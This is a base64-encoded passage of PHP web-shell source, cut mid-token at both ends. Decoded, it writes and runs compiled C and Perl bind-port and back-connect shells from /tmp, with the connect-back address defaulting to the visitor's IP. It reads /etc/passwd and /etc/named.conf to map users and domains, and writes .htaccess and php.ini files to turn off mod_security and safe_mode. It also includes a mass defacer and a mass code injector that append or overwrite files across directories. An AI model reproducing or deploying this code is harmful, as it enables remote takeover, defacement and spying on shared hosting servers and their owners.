bT4KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PGJyIC8+PHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+CiAgICBTZXJ2ZXI6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdzZXJ2ZXJcJyB2YWx1ZT0iJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nIj4gUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0M1wnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JjY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYmNwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT48YnI+JzsgICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsKICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKICAgICAgICAgICAgaWYoJHcpICAgIHsKICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKCmZ1bmN0aW9uIGFjdGlvblJlYWRhYmxlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJzPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICAgICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwogICAgaWYoJHNtKSB7CiAgICAgICAgZWNobyAnPGJyIC8+PGI+RXJyb3I6IHNhZmVfbW9kZSA9IG9uPC9iPjxiciAvPjxiciAvPic7CiAgICB9IGVsc2UgewogICAgICAgIEAkcGFzc3dkID0gZmlsZSgnL2V0Yy9wYXNzd2QnLCdyJyk7CiAgICAgICAgaWYgKCEkcGFzc3dkKSB7IAogICAgICAgICAgICBlY2hvICc8YnIgLz48Yj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2Q8L2I+PGJyIC8+PGJyIC8+JzsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHB1YiA9IGFycmF5KCk7CiAgICAgICAgICAgICR1c2VycyA9IGFycmF5KCk7CiAgICAgICAgICAgICRjb25mID0gYXJyYXkoKTsKICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICBmb3JlYWNoKCRwYXNzd2QgYXMgJHApIHsKICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJHApOwogICAgICAgICAgICAgICAgJGRpcnogPSAkcls1XS4nL3B1YmxpY19odG1sLyc7CiAgICAgICAgICAgICAgICBpZihzdHJwb3MoJHJbNV0sJ2hvbWUnKSkgewogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCRyWzBdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+IjsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgZm9yZWFjaCAoJHB1YiBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgZWNobyAkdXNlci4iPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIENvbXBsZXRlLi4uXG4iLiI8YnIgLz4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQoKZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOwogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkKICAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CiAgICAgICAgICAgIFNlYy0tLS0tLUVuZ2luZSBPZmYKICAgICAgICAgICAgU2VjLS0tLS0tU2NhblBPU1QgT2ZmCiAgICAgICAgICAgIDwvSWZNb2R1bGU+Jyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOwogICB9CiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCiAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgICB9CiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKICAgICAgICBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOyAKICAgIH0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7CiAgIAp9CgpmdW5jdGlvbiBhY3Rpb25EZWZhY2UoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gIjxoMT5NYXNzIERlZmFjZXIgYnkgU21Fdks8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwo/Pgo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/JF9TRVJWRVJbJ1BIUF9TRUxGJ10/PiIgbWV0aG9kPVBPU1Qgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMucGF0aC52YWx1ZSx0aGlzLmZpbGUudmFsdWUsdGhpcy5Db250ZW50cy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CjxwIGFsaWduPSJMZWZ0Ij5Gb2xkZXI6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXRoIHNpemU9NjAgdmFsdWU9Ijw/PWdldGN3ZCgpOyA/PiI+Cjxicj5maWxlIG5hbWUgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSBzaXplPTIwIHZhbHVlPSJpbmRleC5waHAiPgo8YnI+VGV4dCBDb250ZW50IDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPUNvbnRlbnRzIHNpemU9NzAgdmFsdWU9IkFkZCB5b3VyIGRlZmFjZSB0eHQgaGVyZSI+IAo8YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJEZWZhY2Ugbm93Ij48L3A+PC9mb3JtPgoKPD9waHAKaWYgKCRfUE9TVFsnYSddID09ICdEZWZhY2UnKSB7CiRtYWlucGF0aCA9ICRfUE9TVFtwMV07CiRmaWxlID0gJF9QT1NUW3AyXTsKJHR4dENvbnRlbnRzID0gJF9QT1NUW3AzXTsKZWNobyAiTWFzcyBEZWZhY2VyIHNjcmlwdCBieSBTbUVWS19QYVRoQW4iOwokZGlyID0gb3BlbmRpcigkbWFpbnBhdGgpOyAvL2ZpeG1lIC0gY2Fubm90IGRlZmFjZSB3aGVuIGNoYW5nZSB0byB3cml0ZWFibGUgcGF0aCEhCndoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgewokc3RhcnQgPSBAZm9wZW4oIiRyb3cvJGZpbGUiLCAidysiKTsKJGNvZGUgPSAkdHh0Q29udGVudHM7CiRmaW5pc2ggPSBAZndyaXRlKCRzdGFydCwgJGNvZGUpOwppZiAoJGZpbmlzaCkgewplY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+IjsKfQp9Cgp9CmVjaG8gJzwvZGl2Pic7CnByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkluamVjdG9yKCl7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPk1hc3MgQ29kZSBJbmplY3RvcjwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICAKICAgIGlmKHN0cmlzdHIocGhwX3VuYW1lKCksIldpbmRvd3MiKSkgeyAkRFMgPSAiXFwiOyB9IGVsc2UgaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiTGludXgiKSkgeyAkRFMgPSAnLyc7IH0KICAgIGZ1bmN0aW9uIGdldF9zdHJ1Y3R1cmUoJHBhdGgsJGRlcHRoKSB7CiAgICAgICAgZ2xvYmFsICREUzsKICAgICAgICAkcmVzID0gYXJyYXkoKTsKICAgICAgICBpZihpbl9hcnJheSgwLCAkZGVwdGgpKSB7ICRyZXNbXSA9ICRwYXRoOyB9CiAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSBvciBpbl9hcnJheSgyLCAkZGVwdGgpIG9yIGluX2FycmF5KDMsICRkZXB0aCkpIHsKICAgICAgICAgICAgJHRtcDEgPSBnbG9iKCRwYXRoLiREUy4nKicsR0xPQl9PTkxZRElSKTsKICAgICAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSkgeyAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMSk7IH0KICAgICAgICB9CiAgICAgICAgaWYoaW5fYXJyYXkoMiwgJGRlcHRoKSBvciBpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAyID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMSBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAyID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMiA9IGFycmF5X21lcmdlKCR0bXAyLCAkdHAyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihpbl9hcnJheSgyLCAkZGVwdGgpKSB7ICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAyKTsgfQogICAgICAgIH0KICAgICAgICBpZihpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMiBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAzID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMyA9IGFycmF5X21lcmdlKCR0bXAzLCAkdHAzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzOwogICAgfQoKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmICRfUE9TVFsnc3VibWl0J109PSdJbmplY3QnKSB7CiAgICAgICAgJG5hbWUgPSAkX1BPU1RbJ25hbWUnXSA/ICRfUE9TVFsnbmFtZSddIDogJyonOwogICAgICAgICR0eXBlID0gJF9QT1NUWyd0eXBlJ10gPyAkX1BPU1RbJ3R5cGUnXSA6ICdodG1sJzsKICAgICAgICAkcGF0aCA9ICRfUE9TVFsncGF0aCddID8gJF9QT1NUWydwYXRoJ10gOiBnZXRjd2QoKTsKICAgICAgICAkY29kZSA9ICRfUE9TVFsnY29kZSddID8gJF9QT1NUWydjb2RlJ10gOiAnUGFraXN0YW4gSGF4b3JzIENyZXcnOwogICAgICAgICRtb2RlID0gJF9QT1NUWydtb2RlJ10gPyAkX1BPU1RbJ21vZGUnXSA6ICdhJzsKICAgICAgICAkZGVwdGggPSBzaXplb2YoJF9QT1NUWydkZXB0aCddKSA/ICRfUE9TVFsnZGVwdGgnXSA6IGFycmF5KCcwJyk7CiAgICAgICAgJGR0ID0gZ2V0X3N0cnVjdHVyZSgkcGF0aCwkZGVwdGgpOwogICAgICAgIGZvcmVhY2ggKCRkdCBhcyAkZCkgewogICAgICAgICAgICBpZigkbW9kZSA9PSAnYScpIHsKICAgICAgICAgICAgICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRkLiREUy4kbmFtZS4nLicuJHR5cGUsICRjb2RlLCBGSUxFX0FQUEVORCkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6bGltZTsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkZC4kRFMuJG5hbWUuJy4nLiR0eXBlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6bGltZTsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gICAgICAgIAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICA8dGFibGUgYWxpZ249ImNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RGlyZWN0b3J5IDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBjbGFzcz0iYm94IiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy5nZXRjd2QoKS4nIiBzaXplPSI1MCIvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPk1vZGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhIj5BcGVuZGVyPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idyI+T3ZlcndyaXRlcjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkZpbGUgTmFtZSAmIFR5cGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im5hbWUiIHZhbHVlPSIqIi8+Jm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJ0eXBlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bWwiPkhUTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bSI+SFRNPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+UEhQPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhc3AiPkFTUDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNweCI+QVNQWDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InR4dCI+VFhUPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkNvZGUgSW5qZWN0IERlcHRoIDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMCIgY2hlY2tlZD0iY2hlY2tlZCIvPiZuYnNwOzAmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjEiLz4mbmJzcDsxJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIyIi8+Jm5ic3A7MiZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMyIvPiZuYnNwOzMKICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIG5hbWU9ImNvZGUiIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9ImJveCI+PC90ZXh0YXJlYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IkluamVjdG9yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJwYWRkaW5nIDo1cHg7IHdpZHRoOjEwMHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCgogZnVuY3Rpb24gYWN0aW9uRG9tYWluKCkgewogICAgcHJpbnRIZWFkZXIoKTsKCmVjaG8gJzxoMT5Mb2NhbCBEb21haW5zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAokZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiREb21haW5fcGF0aCA9ICIvdmFyL25hbWVkIjsKCmlmICghJGZpbGUpIHsKJGRvbWFpbnMgPSBzY2FuZGlyKCREb21haW5fcGF0aCk7CiRjb3VudD0xOwokZGMgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj5UaGVyZSBhcmUgOiAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5DYW4ndCByZWFkIG5hbWVkLmNvZiAuRG9tYWlucyBhcmUgYnlwYXNzZWQgYWN0dWFsbHkseW91IHdpbGwgZmFjZSBwcm9ibGVtIGluIHN5bWxpbmsuIDwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJiRkb21haW4pIHsKICAgIGlmIChzdHJpcG9zKCRkb21haW4sIi5kYiIpKSB7CiAgICAkZG9tYWluID0gc3RyX3JlcGxhY2UoJy5kYicsJycsJGRvbWFpbik7CgogICAgfQogICAgaWYgKHN0cmxlbigkZG9tYWluKSA+IDYpIHsKICAgICAgICAKICAgICAgICBlY2hv